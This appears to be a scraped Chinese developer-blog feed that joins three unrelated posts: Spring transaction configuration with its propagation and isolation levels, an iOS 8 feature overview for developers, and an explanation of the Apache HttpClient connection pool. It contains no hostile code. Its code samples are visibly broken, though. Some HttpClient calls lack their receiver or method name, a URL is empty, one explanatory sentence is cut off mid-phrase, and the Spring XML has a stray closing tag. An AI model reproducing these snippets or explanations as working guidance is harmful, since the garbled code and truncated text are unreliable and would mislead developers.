19             </props>
20         </property>
21     </bean>
22
23     <!-- 配置DAO -->
24     <bean id="userDaoTarget" class="com.bluesky.spring.dao.UserDaoImpl">
25         <property name="sessionFactory" ref="sessionFactory" />
26     </bean>
27
28     <bean id="userDao" parent="transactionBase">
29         <property name="target" ref="userDaoTarget" />
30     </bean>
第三种方式:使用拦截器

View Row Code
1 ......
2     <bean id="sessionFactory" class="org.springframework.orm.hibernate3.LocalSessionFactoryBean">
3         <property name="configLocation" value="classpath:hibernate.cfg.xml" />
4         <property name="configurationClass" value="org.hibernate.cfg.AnnotationConfiguration" />
5     </bean>
6
7     <!-- 定义事务管理器(声明式的事务) -->
8     <bean id="transactionManager" class="org.springframework.orm.hibernate3.HibernateTransactionManager">
9         <property name="sessionFactory" ref="sessionFactory" />
10     </bean>
11
12     <bean id="transactionInterceptor" class="org.springframework.transaction.interceptor.TransactionInterceptor">
13         <property name="transactionManager" ref="transactionManager" />
14         <!-- 配置事务属性 -->
15         <property name="transactionAttributes">
16             <props>
17                 <prop key="*">PROPAGATION_REQUIRED</prop>
18             </props>
19         </property>
20     </bean>
21
22     <bean class="org.springframework.aop.framework.autoproxy.BeanNameAutoProxyCreator">
23         <property name="beanNames">
24             <list>
25                 <value>*Dao</value>
26             </list>
27         </property>
28         <property name="interceptorNames">
29             <list>
30                 <value>transactionInterceptor</value>
31             </list>
32         </property>
33     </bean>
34
35     <!-- 配置DAO -->
36     <bean id="userDao" class="com.bluesky.spring.dao.UserDaoImpl">
37         <property name="sessionFactory" ref="sessionFactory" />
38     </bean>
第四种方式:使用tx标签配置的拦截器

View Row Code
1 <?xml version="1.0" encoding="UTF-8"?>
2 <beans xmlns="http://www.springframework.org/schema/beans"
3     xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
4     xmlns:context="http://www.springframework.org/schema/context"
5     xmlns:aop="http://www.springframework.org/schema/aop"
6     xmlns:tx="http://www.springframework.org/schema/tx"
7     xsi:schemaLocation="http://www.springframework.org/schema/beans
8            http://www.springframework.org/schema/beans/spring-beans-2.5.xsd
9            http://www.springframework.org/schema/context
10            http://www.springframework.org/schema/context/spring-context-2.5.xsd
11            http://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop-2.5.xsd
12            http://www.springframework.org/schema/tx http://www.springframework.org/schema/tx/spring-tx-2.5.xsd">
13     <context:annotation-config />
14     <context:component-scan base-package="com.bluesky" />
15
16     <bean id="sessionFactory" class="org.springframework.orm.hibernate3.LocalSessionFactoryBean">
17         <property name="configLocation" value="classpath:hibernate.cfg.xml" />
18         <property name="configurationClass" value="org.hibernate.cfg.AnnotationConfiguration" />
19     </bean>
20
21     <!-- 定义事务管理器(声明式的事务) -->
22     <bean id="transactionManager" class="org.springframework.orm.hibernate3.HibernateTransactionManager">
23         <property name="sessionFactory" ref="sessionFactory" />
24     </bean>
25
26     <tx:advice id="txAdvice" transaction-manager="transactionManager">
27         <tx:attributes>
28             <tx:method name="*" propagation="REQUIRED" />
29         </tx:attributes>
30     </tx:advice>
31
32     <aop:config>
33         <aop:pointcut id="interceptorPointCuts" expression="execution(* com.bluesky.spring.dao.*.*(..))" />
34         <aop:advisor advice-ref="txAdvice" pointcut-ref="interceptorPointCuts" />
35     </aop:config>
36 </bean>
第五种方式:全注解

View Row Code
1 ......
2     <context:annotation-config />
3     <context:component-scan base-package="com.bluesky" />
4
5     <tx:annotation-driven transaction-manager="transactionManager" />
6
7     <bean id="sessionFactory" class="org.springframework.orm.hibernate3.LocalSessionFactoryBean">
8         <property name="configLocation" value="classpath:hibernate.cfg.xml" />
9         <property name="configurationClass" value="org.hibernate.cfg.AnnotationConfiguration" />
10     </bean>
11
12     <!-- 定义事务管理器(声明式的事务) -->
13     <bean id="transactionManager" class="org.springframework.orm.hibernate3.HibernateTransactionManager">
14         <property name="sessionFactory" ref="sessionFactory" />
15     </bean>
此时在DAO上需加上@Transactional注解,如下:

View Row Code
1 @Transactional
2 @Component("userDao")
3 public class UserDaoImpl extends HibernateDaoSupport implements UserDao {
4     public List<User> listUsers() {
5         return this.getSession().createQuery("from User").list();
6     }
7     ......
8 }
二、事务的传播属性(Propagation)

Propagation :key属性确定代理应该给哪个方法增加事务行为。这样的属性最重要的部份是传播行为。有以下选项可供使用:PROPAGATION_REQUIRED--支持当前事务,如果当前没有事务,就新建一个事务。这是最常见的选择。

PROPAGATION_REQUIRED--加入当前正要执行的事务不在另外一个事务里,那么就起一个新的事务
PROPAGATION_SUPPORTS--支持当前事务,如果当前没有事务,就以非事务方式执行。
PROPAGATION_MANDATORY--支持当前事务,如果当前没有事务,就抛出异常。
PROPAGATION_REQUIRES_NEW--新建事务,如果当前存在事务,把当前事务挂起。
PROPAGATION_NOT_SUPPORTED--以非事务方式执行操作,如果当前存在事务,就把当前事务挂起。
PROPAGATION_NEVER--以非事务方式执行,如果当前存在事务,则抛出异常。
1: PROPAGATION_REQUIRED

加入当前正要执行的事务不在另外一个事务里,那么就起一个新的事务。

比如说,ServiceB.methodB的事务级别定义为PROPAGATION_REQUIRED, 那么由于执行ServiceA.methodA的时候,ServiceA.methodA已经起了事务,这时调用ServiceB.methodB,ServiceB.methodB看到自己已经运行在ServiceA.methodA的事务内部,就不再起新的事务。而假如ServiceA.methodA运行的时候发现自己没有在事务中,他就会为自己分配一个事务。这样,在ServiceA.methodA或者在ServiceB.methodB内的任何地方出现异常,事务都会被回滚。即使ServiceB.methodB的事务已经被提交,但是ServiceA.methodA在接下来fail要回滚,ServiceB.methodB也要回滚。

2: PROPAGATION_SUPPORTS

如果当前在事务中,即以事务的形式运行,如果当前不再一个事务中,那么就以非事务的形式运行。

3: PROPAGATION_MANDATORY

必须在一个事务中运行。也就是说,他只能被一个父事务调用。否则,他就要抛出异常。

4: PROPAGATION_REQUIRES_NEW

这个就比较绕口了。 比如我们设计ServiceA.methodA的事务级别为PROPAGATION_REQUIRED,ServiceB.methodB的事务级别为PROPAGATION_REQUIRES_NEW,那么当执行到ServiceB.methodB的时候,ServiceA.methodA所在的事务就会挂起,ServiceB.methodB会起一个新的事务,等待ServiceB.methodB的事务完成以后,他才继续执行。他与PROPAGATION_REQUIRED 的事务区别在于事务的回滚程度了。因为ServiceB.methodB是新起一个事务,那么就是存在两个不同的事务。如果ServiceB.methodB已经提交,那么ServiceA.methodA失败回滚,ServiceB.methodB是不会回滚的。如果ServiceB.methodB失败回滚,如果他抛出的异常被ServiceA.methodA捕获,ServiceA.methodA事务仍然可能提交。

5: PROPAGATION_NOT_SUPPORTED

当前不支持事务。比如ServiceA.methodA的事务级别是PROPAGATION_REQUIRED ,而ServiceB.methodB的事务级别是PROPAGATION_NOT_SUPPORTED ,那么当执行到ServiceB.methodB时,ServiceA.methodA的事务挂起,而他以非事务的状态运行完,再继续ServiceA.methodA的事务。

6: PROPAGATION_NEVER

不能在事务中运行。假设ServiceA.methodA的事务级别是PROPAGATION_REQUIRED, 而ServiceB.methodB的事务级别是PROPAGATION_NEVER ,那么ServiceB.methodB就要抛出异常了。

7: PROPAGATION_NESTED

理解Nested的关键是savepoint。他与PROPAGATION_REQUIRES_NEW的区别是,PROPAGATION_REQUIRES_NEW另起一个事务,将会与他的父事务相互独立,而Nested的事务和他的父事务是相依的,他的提交是要等和他的父事务一块提交的。也就是说,如果父事务最后回滚,他也要回滚的。

而Nested事务的好处是他有一个savepoint。

View Row Code
1 ServiceA {
2     //事务属性配置为 PROPAGATION_REQUIRED
3     void methodA() {
4         try {
5             //savepoint
6             ServiceB.methodB(); //PROPAGATION_NESTED 级别
7         } catch (SomeException) {
8             // 执行其他业务, 如 ServiceC.methodC();
9         }
10     }
11 }
也就是说ServiceB.methodB失败回滚,那么ServiceA.methodA也会回滚到savepoint点上,ServiceA.methodA可以选择另外一个分支,比如:

ServiceC.methodC,继续执行,来尝试完成自己的事务。

但是这个事务并没有在EJB标准中定义。

三、Spring事务的隔离级别(Isolation level)

1. ISOLATION_DEFAULT: 这是一个PlatfromTransactionManager默认的隔离级别,使用数据库默认的事务隔离级别。

另外四个与JDBC的隔离级别相对应。

2. ISOLATION_READ_UNCOMMITTED: 这是事务最低的隔离级别,它充许令外一个事务可以看到这个事务未提交的数据。

这种隔离级别会产生脏读,不可重复读和幻像读。

3. ISOLATION_READ_COMMITTED: 保证一个事务修改的数据提交后才能被另外一个事务读取。另外一个事务不能读取该事务未提交的数据。

4. ISOLATION_REPEATABLE_READ: 这种事务隔离级别可以防止脏读,不可重复读。但是可能出现幻像读。

它除了保证一个事务不能读取另一个事务未提交的数据外,还保证了避免下面的情况产生(不可重复读)。

5. ISOLATION_SERIALIZABLE 这是花费最高代价但是最可靠的事务隔离级别。事务被处理为顺序执行。

除了防止脏读,不可重复读外,还避免了幻像读。

什么是脏数据,脏读,不可重复读,幻觉读?

脏读: 指当一个事务正在访问数据,并且对数据进行了修改,而这种修改还没有提交到数据库中,这时,另外一个事务也访问这个数据,然后使用了这个数据。因为这个数据是还没有提交的数据, 那么另外一个事务读到的这个数据是脏数据,依据脏数据所做的操作可能是不正确的。

不可重复读: 指在一个事务内,多次读同一数据。在这个事务还没有结束时,另外一个事务也访问该同一数据,那么,在第一个事务中的两次读数据之间,由于第二个事务的修改,那么第一个事务两次读到的数据可能是不一样的。这样就发生了在一个事务内两次读到的数据是不一样的,因此称为是不可重复读。

幻觉读: 指当事务不是独立执行时发生的一种现象,例如第一个事务对一个表中的数据进行了修改,这种修改涉及到表中的全部数据行。同时,第二个事务也修改这个表中的数据,这种修改是向表中插入一行新数据。那么,以后就会发生操作第一个事务的用户发现表中还有没有修改的数据行,就好象发生了幻觉一样。

已有 0人发表留言,猛击->> 这里<<-参与讨论


ITeye推荐



iOS8 对开发者来说意味着什么?

$
0
0

今天凌晨,Apple WWDC2014 iOS8 正式推出!

也许,对于广大iOS用户来说,iOS8的创新并不是特别多。

但对于开发者来说,影响却将会是无比巨大的!

正如Apple官网上的广告:Huge for developers.Massive for everyone else!


那现在,我们来看看iOS8将对我们开发者带来什么改变?

 

No.1 Swift 语言


Ok,Apple推出了一个新的开发语言来替代Objective C!

本来Objective C这个语言我以为已经比其他语言优雅得多,

现在,Apple又将编程进一步变得更简单更有趣了!

Swift语言的优势在哪里?

1)更简洁!


以前Objective C要用几行代码现在Swift可能只要一行!

代码量确实可以减少很多。

就初步看了一下从iBookStore下下来的Swift语言手册,

可以看到Swift把几乎所有的语法都简化了!

2)所见即所得


这个特性非常强大,这使得编程变得非常有趣!不是吗?

是不是以后的小孩5,6岁就可以编程了呢?很有可能!

比如我们用Sprite Kit编游戏,我们现在可以边编写边看到编写的效果!

3) 快速,强大,安全

这些都是Apple官网上说的,作为一个Apple潜心开发了多年的语言,这些基本要求必须有!并且Debug的时候在Xcode有个类似脚本的环境Read-Eval-Print-Loop (REPL)。

 

由上面可见Swift语言的革新性,简洁易用正是编程语言最重要的特性,这才有利于一种语言的发展。Swift语言的推出我觉得将使得越来越多的爱好者投入到App的开发当中。

 

No.2  Game游戏开发


现在不仅仅可以用Sprite Kit来开发2D游戏,iOS8的到来,Scene Kit 3D游戏引擎也可以用了!

也许很多人还在使用Cocos 2D,Unity 3D来开发游戏,

也许Sprite Kit和Scene Kit的无法跨平台使很多人失去了使用的兴趣!

但是 要明确一点:

Sprite Kit和Scene Kit与iOS的深度融合使得在iOS开发游戏变得极其简单,这是其他游戏开发引擎所完全无法比拟的!

再加上Swift语言的结合,在iOS开发游戏的体验将会前所未有的Happy!

 

No.3 Home Kit


对于Home Kit,恐怕很多开发者不会关注太多!但这个Home Kit的推出其实代表了未来的趋势!

Apple也看到了这一点:智能家居!

Home Kit是什么?

一个全新的Framework用来交互并控制用户家中的各种连接到iOS上的设备!

使用Home Kit将使开发连接iOS的硬件设备变得更容易,甚至Apple提供了Home Kit Accessory Simulator模拟器来测试与设备之间的通信!

用iPhone来控制点灯什么的之前就已经有了,而未来只要硬件厂商支持Home Kit的协议,那么我们家里的所有电器设备都可以用iOS来控制!

关键是开发难度极大降低了!

而且我们通过Siri还可以语音控制!这是不是略科幻了?

当然,我们显然还可以开发一下机器人,然后用iOS控制一下!

因此我认为Home Kit非常重要!但这个有待广大硬件开发者的努力!

 

No.4 Touch ID


Touch ID支持应用开发!这个功能是我们可以预见的!

所以,以后淘宝用Touch ID付款将会实现!

或者以后我们在超市买东西用iPhone指纹付款!

指纹的使用或许将从新真正进入到我们的生活领域!

 

No.5 Health Kit

健康对大家是越来越重要了!

关于Health kit网上是说得很多了,这里就不再说明!

但大家都能看到的是我们的手机的功能正在被极大的扩展!

手机不再只是用屏幕罗!

当然,如果是几年前得说手机不再只是打电话!

手机将成为一个物联网的控制终端!手机不仅仅是信息的媒介!

反过来看,手机也将是可穿戴设备!

 

No.6 App Extension

对于App Extension,我觉得是Android化了。

换句话说就是Apple开放了!

Apple 自带app能使用的功能,现在我们也可以使用!

分享,图片编辑,文档,Widget。。。

感觉我们可以做一个媲美Apple自带App的App!

还需要越狱吗?第三方输入法都可以了!

 

No.7 Unified Storyboards

iPhone6传言要更大!然后作为开发者我们得头大!

那么多的屏幕??怎么搞?

好了,iOS8 推出Unified Storyboards!

用一个界面编辑器解决各种大小的界面问题!

因此我们没必要担心iPhone,iPad的屏幕大小问题!

Apple必须为我们解决!

 

No.8 Photos, iCloud

关于这两方面也很重要,但相对来说只是对原有功能的扩展,变得更强大了,谈不上什么革新!

 

最后我们看官方文档中显示的iOS8下废除不用的东西(纯粹转载):

 

The following APIs are deprecated:

看到了吗?连UIApplication,UIViewController的很多方法属性都不用了!

iOS8 的变化真的很大!

 

Are you Ready?



已有 0人发表留言,猛击->> 这里<<-参与讨论


ITeye推荐



转:HttpClient连接池原理及一次连接时序图

$
0
0

HttpClient连接池原理及一次连接时序图(转载来源http://www.educity.cn/wenda/147389.html)

  

1.    httpClient介绍

  HttpClient是一个实现了http协议的开源Java客户端工具库,可以通过程序发送http请求。

1.1. HttpClient发送请求和接收响应

1.1.1.    代码示例

  以Get请求为例,以下代码获得google主页内容并将返回结果打印出来。

  public final static void main(String[] args) throws Exception {

  HttpClient httpclient = new DefaultHttpClient();

  try {

  HttpGet httpget = new HttpGet("");

  System.out.println("executing request " + ());

  // 创建response处理器

  ResponseHandler<String> responseHandler = new BasicResponseHandler();

  String responseBody = (httpget, responseHandler);

  System.out.println("----------------------------------------");

  System.out.println(responseBody);

  System.out.println("----------------------------------------");

  } finally {

  //HttpClient不再使用时,关闭连接管理器以保证所有资源的释放

  ().shutdown();

  }

  }

1.1.2.    时序图

  httpClient执行一次请求,即运行一次()方法,时序图如下:

  
1066x788

1.1.3.    时序图说明

1.1.3.1.  时序图编号说明

  2 1.1、1.2、1.3等均为操作1的子操作,即:操作1 execute()中又分别调用了操作1.1 createClientConnectionManager()、操作1.2 createClientRequestDirector()以及操作1.3 requestDirector 对象的execute()方法等,以此类推。

  2 按时间先后顺序分别编号为1,2,3等,以此类推。

1.1.3.2.  主要类说明

  
952x727

  2 对于图中各对象,httpClient jar包中均提供对应的接口及相应的实现类。

  2 图中直接与服务器进行socket通信的是最右端接口OperatedClientConnection某一实现类的对象,图中从右到左进行了层层的封装,最终开发人员直接使用的是接口HttpClient某一实现类的对象进行请求的发送和响应的接收(如2.1.1代码示例)。

  2 时序图中各对象所在类关系如下图类图所示(仅列出图中所出现的各个类及方法,参数多的方法省略部分参数,其他类属性和操作请参照源码):

   1.1.3.2.1.  接口OperatedClientConnection

  2 该接口对应一个http连接,与服务器端建立socket连接进行通信。

   1.1.3.2.2.  接口ManagedClientConnection

  2 该接口对一个http连接OperatedClientConnection进行封装,ManagedClientConnection维持一个PoolEntry<HttpRoute, OperatedClientConnection>路由和连接的对应。提供方法获得对应连接管理器,对http连接的各类方法,如建立连接,获得相应,关闭连接等进行封装。

   1.1.3.2.3.  接口RequestDirector

  2 RequestDirector为消息的发送执行者,该接口负责消息路由的选择和可能的重定向,消息的鉴权,连接的分配回收(调用ClientConnectionManager相关方法),建立,关闭等并控制连接的保持。

  2 连接是否保持以及保持时间默认原则如下:

  n  连接是否保持:客户端如果希望保持长连接,应该在发起请求时告诉服务器希望服务器保持长连接(设置connection字段为keep-alive,字段默认保持)。根据服务器的响应来确定是否保持长连接,判断原则如下:

  u 检查返回response报文头的Transfer-Encoding字段,若该字段值存在且不为chunked,则连接不保持,直接关闭。其他情况进入下一步。

  u 检查返回的response报文头的Content-Length字段,若该字段值为空或者格式不正确(多个长度,值不是整数),则连接不保持,直接关闭。其他情况进入下一步

  u 检查返回的response报文头的connection字段(若该字段不存在,则为Proxy-Connection字段)值

  l 如果这俩字段都不存在,则版本默认为保持,将连接标记为保持, 1.0版本默认为连接不保持,直接关闭。

  l 如果字段存在,若字段值为close 则连接不保持,直接关闭;若字段值为keep-alive则连接标记为保持。

  n  连接保持时间:连接交换至连接管理时,若连接标记为保持,则将由连接管理器保持一段时间;若连接没有标记为保持,则直接从连接池中删除并关闭entry。连接保持时,保持时间规则如下:

  u 保持时间计时开始时间为连接交换至连接池的时间。

  u 保持时长计算规则为:获取keep-alive字段中timeout属性的值,

  l 若该字段存在,则保持时间为 timeout属性值*1000,单位毫秒。

  l 若该字段不存在,则连接保持时间设置为-1,表示为无穷。

  n 响应头日志示例:

  17:59:42.051 [main] DEBUG org.apache.http.headers - << Keep-Alive: timeout=5, max=100

  17:59:42.051 [main] DEBUG org.apache.http.headers - << Connection: Keep-Alive

  17:59:42.051 [main] DEBUG org.apache.http.headers - << Content-Type: text/html; charset=utf-8

  17:59:42.062 [main] DEBUG c.ebupt.omp.sop.srmms.SopHttpClient - Connection can be kept alive for 5000 MILLISECONDS

  n 若需要修改连接的保持及重用默认原则,则需编写子类继承自AbstractHttpClient,分别覆盖其  createConnectionReuseStrategy() 和createConnectionKeepAliveStrategy() 方法。

   1.1.3.2.4.  接口ClientConnectionManager

  2 ClientConnectionManager为连接池管理器,是线程安全的。Jar包中提供的具体实现类有BasicClientConnectionManager和PoolingClientConnectionManager。其中BasicClientConnectionManager只管理一个连接。PoolingClientConnectionManager管理连接池。

  2 若有特殊需要,开发人员可自行编写连接管理器实现该接口。

  2 连接管理器自动管理连接的分配以及回收工作,并支持连接保持以及重用。连接保持以及重用由RequestDirector进行控制。

   1.1.3.2.5.  接口HttpClient

  2 接口HttpClient为开发人员直接使用的发送请求和接收响应的接口,是线程安全的。jar包中提供的实现类有:AbstractHttpClient, DefaultHttpClient, AutoRetryHttpClient, ContentEncodingHttpClient, DecompressingHttpClient, SystemDefaultHttpClient。其中其他所有类都继承自抽象类AbStractHttpClient,该类使用了门面模式,对http协议的处理进行了默认的封装,包括默认连接管理器,默认消息头,默认消息发送等,开发人员可以覆盖其中的方法更改其默认设置。

  2 AbstractHttpClient默认设置连接管理器为BasicClientConnectionManager。若要修改连接管理器,则应该采用以下方式之一:

  n 初始化时,传入连接池,例如:

  ClientConnectionManager connManager = new PoolingClientConnectionManager();

  HttpClient httpclient = new DefaultHttpClient(connManager);

  n 编写httpClient接口的实现类,继承自AbstractHttpClient并覆盖其createClientConnectionManager()方法,在方法中创建自己的连接管理器。

1.1.3.3.    方法说明

  2 createClientConnectionManager(),创建连接池,该方法为protected。子类可覆盖修改默认连接池。

  2 createClientRequestDirector(),创建请求执行者,该方法为protected。子类可覆盖但一般不需要。

  2 httpClient中调用1.2方法所创建的请求执行者requestDirector的execute()方法。该方法中依次调用如下方法:

  n 1.3.1调用连接管理器的requestConnection(route, userToken)方法,该方法调用连接池httpConnPool的lease方法,创建一个Future<HttpPoolEntry>。Futrue用法参见Java标准API。返回clientConnectionRequest。

  n 1.3.2.调用clientConnectionRequest的getConnection(timeout, TimeUnit.MILLISECONDS)方法,该方法负责将连接池中可用连接分配给当前请求,具体如下:

  u 创建clientConnectionOperator。

  u 执行1.3.1中创建的Future的任务,该任务获得当前可用的poolEntry<router,OperatedClientConnection>并封装成managedClientConnectionImpl返回。

  n 1.3.3. 调用 tryConnect(roureq, context)方法,该方法最终调用OperatedClientConnection的openning方法,与服务器建立socket连接。

  n 1.3.4. 调用 tryExecute(roureq, context)方法,该方法最终调用OperatedClientConnection的receiveResponseHeader()和receiveResponseEntity()获得服务器响应。

  n 1.3.5 判断连接是否保持用来重用,若保持,则设置保持时间,并将连接标记为可重用不保持则调用managedClientConnectionImpl的close方法关闭连接,该方法最终调用OperatedClientConnection的close()方法关闭连接。

  2 最终respose返回至httpClient。

  2 发送请求的线程需处理当前连接,若已被标记为重用,则交还至连接池管理器;否则,关闭当前连接。(使用响应处理器ResponseHanler)。本次请求结束。

1.2. httpClient连接池

  若连接管理器配置为PoolingClientConnectionManager,则httpClient将使用连接池来管理连接的分配,回收等操作。

1.2.1.    连接池结构

  连接池结构图如下,其中:

  
775x536

  l PoolEntry<HttpRoute, OperatedClientConnection>为路由和连接的对应。

  l routeToPool可以多个(图中仅示例两个);图中各队列大小动态变化,并不相等;

  l maxTotal限制的是外层httpConnPool中leased集合和available队列的总和的大小,leased和available的大小没有单独限制;

  l 同理:maxPerRoute限制的是routeToPool中leased集合和available队列的总和的大小;

1.2.2.    连接池工作原理

1.2.2.1.  分配连接

  分配连接给当前请求包括两部分:1. 从连接池获取可用连接PoolEntry;2.将连接与当前请求绑定。其中第一部分从连接池获取可用连接的过程为:

  1.    获取route对应连接池routeToPool中可用的连接,有则返回该连接。若没有则转入下一步。

  2.    若routeToPool和外层HttpConnPool连接池均还有可用的空间,则新建连接,并将该连接作为可用连接返回;否则进行下一步

  3.    将当前请求放入pending队列,等待执行。

  4.    上述过程中包含各个队列和集合的删除,添加等操作以及各种判断条件,具体流程如下:

  
621x786

1.2.2.2.  回收连接

  连接用完之后连接池需要进行回收,具体流程如下:

  1.    若当前连接标记为重用,则将该连接从routeToPool中的leased集合删除,并添加至available队列,同样的将该请求从外层httpConnPool的leased集合删除,并添加至其available队列。同时唤醒该routeToPool的pending队列的第一个PoolEntryFuture。将其从pending队列删除,并将其从外层   若连接没有标记为重用,则分别从routeToPool和外层 过期和空闲连接的关闭

  2 连接如果标记为保持时,将由连接管理器保持一段时间,此时连接可能出现的情况是:

  n 连接处于空闲状态,时间已超过连接保持时间

  n 连接处于空闲状态,时间没有超过连接保持时间

  n 以上两种情况中,随时都会出现连接的服务端已关闭的情况,而此时连接的客户端并没有阻塞着去接受服务端的数据,所以客户端不知道连接已关闭,无法关闭自身的socket。

  2 连接池提供的方法:

  n 首先连接池在每个请求获取连接时,都会在RouteToPool的available队列获取Entry并检测此时Entry是否已关闭或者已过期,若是则关闭并移除该Entry。

  n closeExpiredConnections()该方法关闭超过连接保持时间的空闲连接。

  n closeIdleConnections(timeout,tunit)该方法关闭空闲时间超过timeout的连接,空闲时间从交还给连接管理器时开始,不管是否已过期超过空闲时间则关闭。所以Idle时间应该设置的尽量长一点。

  n 以上两个方法连接关闭的过程均是:

  u 关闭entry;

  u RouteToPool中删除当前entry。先删available队列中的,如果没有,再删除leased集合中的。

  u httpConnPool中删除当前entry。删除过程同RouteToPool

  u 唤醒阻塞在RouteToPool中的第一个future。

1.3. 相关原理说明

1.3.1.    Tcp连接的关闭

  Http连接实际上在传输层建立的是tcp连接,最终利用的是socket进行通信。http连接的保持和关闭实际上都和TCP连接的关闭有关。TCP关闭过程如下图:

  
670x560

  说明:

  2 TCP连接程序中使用socket编程进行实现。一条TCP是一条抽象的连接通道,由通信双方的IP+端口号唯一确定,两端分别通过socket实例进行操作,一个socket实例包括一个输入通道和输出通道,一端的输出通道为另一端的输入通道。

  2 Tcp连接的关闭是连接的两端分别都需要进行关闭(调用close(socket),该函数执行发送FIN,等待ACK等图示操作)。实际上没有客户端和服务端的区别,只有主动关闭和被动关闭的区别。对于上层的其http连接,实际上也就是http服务端主动关闭或者http客户端主动关闭,而不管谁主动,最终服务端和客户端都需要调用close(socket)关闭连接。

  2 主动关闭的一端A调用了close函数之后,若另一端B并没有阻塞着等待着数据,就无法检测到连接的A端已关闭,就没法关闭自身的socket,造成资源的浪费。http连接都是一次请求和响应,之后便交回给连接管理池,因此在http连接池中应当能够移除已过期或者空闲太久的连接,因为他们可能已经被服务器端关闭或者客户端短期内不再使用。

  2 TIME_WAIT状态:

  n 可靠地实现TCP全双工连接的终止

  在进行关闭连接四路握手协议时,最后的ACK是由主动关闭端发出的,如果这个最终的ACK丢失,被动关闭端将重发最终的FIN,因此主动关闭端必须维护状态信息允许它重发最终的ACK。如果不维持这个状态信息,那么主动关闭端将发送RST分节(复位),被动关闭端将此分节解释成一个错误(在java中会抛出connection reset的SocketException)。因而,要实现TCP全双工连接的正常终止,主动关闭的客户端必须维持状态信息进入TIME_WAIT状态。

  n 允许老的重复分节在网络中消逝

  TCP分节可能由于路由器异常而“迷途”,在迷途期间,TCP发送端可能因确认超时而重发这个分节,迷途的分节在路由器修复后也会被送到最终目的地,这个原来的迷途分节就称为lost duplicate。在关闭一个TCP连接后,马上又重新建立起一个相同的IP地址和端口之间的TCP连接,后一个连接被称为前一个连接的化身(incarnation),那么有可能出现这种情况,前一个连接的迷途重复分组在前一个连接终止后出现,从而被误解成从属于新的化身。为了避免这个情况,TCP不允许处于TIME_WAIT状态的连接启动一个新的化身,因为TIME_WAIT状态持续2MSL,就可以保证当成功建立一个TCP连接的时候,来自连接先前化身的重复分组已经在网络中消逝。

2.       版本

  原Commons HttpClient:3.x不再升级维护,使用Apache HttpComponents的HttpClient代替。Pom文件修改如下:

  1.     原maven依赖:

  <dependency>

  <groupId>commons-httpclient</groupId>

  <artifactId>commons-httpclient</artifactId>

  <version>3.1</version>

  </dependency>

  2.     替换为:

  <dependency>

  <groupId>org.apache.httpcomponents</groupId>

  <artifactId>httpclient</artifactId>

  <version>4.2.1</version>

  </dependency>

2.1.2.    使用http连接池管理器

  2 编写类继承自DefaultHttpClient(以下假设为SopHttpClient),覆盖其createClientConnectionManager()方法,方法中创建连接池管理器。

  2 开启一个线程(假设为IdleConnectionMonitorThread)用来清除连接池中空闲和过期的连接。

2.1.3.    保持HttpClient单例

  Spring配置中使用默认scope,即单例模式,其他类使用时由Spring配置进行依赖注入,不要使用new方法。SopHttpClient应该提供方法destroy()并配置在Spring销毁该bean前调用,destory()方法中关闭对应连接池管理器和监控线程IdleConnectionMonitorThread。

2.1.4.    异常处理机制(请求和响应):

  编写类实现接口HttpRequestRetryHandler(可参照默认实现DefaultHttpRequestRetryHandler),并覆盖AbstractHttpClient中的createHttpRequestRetryHandler()方法创建新的重试处理机制。

2.1.5.    参数可配置

  各参数(连接池默认ip、端口和大小等,超时时间等)尽量都集中在SopHttpClient类中,设置为由Spring进行统一配置,且提供接口在程序中修改。

2.1.6.    保证连接交回至连接池管理器

2.1.6.1.  方式

  HttpResponse response = (httpMethod);

  HttpEntity entity = response.getEntity();

  这两段代码返回的entity是HttpEntity的实现类BasicManagedEntity。此时与本次请求关联的连接尚未归还至连接管理器。需要调用以下两条语句:

  InputStream instream = entity.getContent();//获得响应具体内容

  //处理响应:代码省略

  instream.close();//关闭输入流同时会将连接交回至连接处理器

2.1.6.2.  使用默认的响应处理器BasicResponseHandler

  2 httpClient Jar包中提供BasicResponseHandler。 如果返回的类型能确定需要解码为String类型的话,推荐使用该响应处理器。

  2 该处理器解码http连接响应字节流为String类型,对返回码>=300的响应进行了异常封装,并能够保证连接交还给连接池管理器。

  2 该处理器将字节解码为字符的过程依次如下:

  1.     如果响应http报文Head部分由指定的charset,则使用该charset进行解码,否则进行下一步。例如使用UTF-8解码以下响应:

  17:59:42.051 [main] DEBUG org.apache.http.headers - << Content-Type: text/html; charset=utf-8

  2.     如果响应报文未执行charset,则使用传入EntityUntils.toString()时指定的charset进行解码。否则进行下一步

  3.     使用ISO-8859-1进行解码。

2.1.6.3.  BasicManagedEntity关闭连接池管理器原理

  1.     BasicManagedEntity实现了三个接口:HttpEntity,ConnectionReleaseTrigger, EofSensorWatcher。

  调用BasicManagedEntity的getContent方法时,实际上初始化了EofSensorInputStream的实例,并将BasicManagedEntity当前对象自身作为EofSensorWatcher传入。

  //BasicManagedEntity类的继承体系,HttpEntityWrapper实现了接口HttpEntity

  public class BasicManagedEntity extends HttpEntityWrapper

  implements ConnectionReleaseTrigger, EofSensorWatcher

  // BasicManagedEntity的getContent方法:

  @Override

  public InputStream getContent() throws IOException {

  return new EofSensorInputStream(wrappedEntity.getContent(), this);

  }

  // EofSensorInputStream构造函数声明

  public EofSensorInputStream(final InputStream in,final EofSensorWatcher watcher);

  2.     调用EofSensorInputStream的close方法,该方法调用自身的checkClose()方法,checkClose()方法中调入了传入的EofSensorWatcher watcher的streamClosed()方法并关闭输入流,由于上一步骤中实际传入的watcher是BasicManagedEntity的实例,因此实际上调用的是BasicManagedEntity的streamClose()方法。

  //close方法

  @Override

  public void close() throws IOException {

  // tolerate multiple calls to close()

  selfClosed = true;

  checkClose();

  }

  //checkClose方法

  protected void checkClose() throws IOException {

  if (wrappedStream != null) {

  try {

  boolean scws = true; // should close wrapped stream

  if (eofWatcher != null)

  scws = eofWatcher.streamClosed(wrappedStream);

  if (scws)

  wrappedStream.close();

  } finally {

  wrappedStream = null;

  }

  }

  }

  3.     BasicManagedEntity的streamClose()方法中将连接交回至连接池管理器。

  public boolean streamClosed(InputStream wrapped) throws IOException {

  try {

  if (attemptReuse && (managedConn != null)) {

  boolean valid = managedConn.isOpen();

  // this assumes that closing the stream will

  // consume the remainder of the response body:

  try {

  wrapped.close();

  managedConn.markReusable();

  } catch (SocketException ex) {

  if (valid) {

  throw ex;

  }

  }

  }

  } finally {

  releaseManagedConnection();

  }

  return false;

  }

2.1.7.    其他

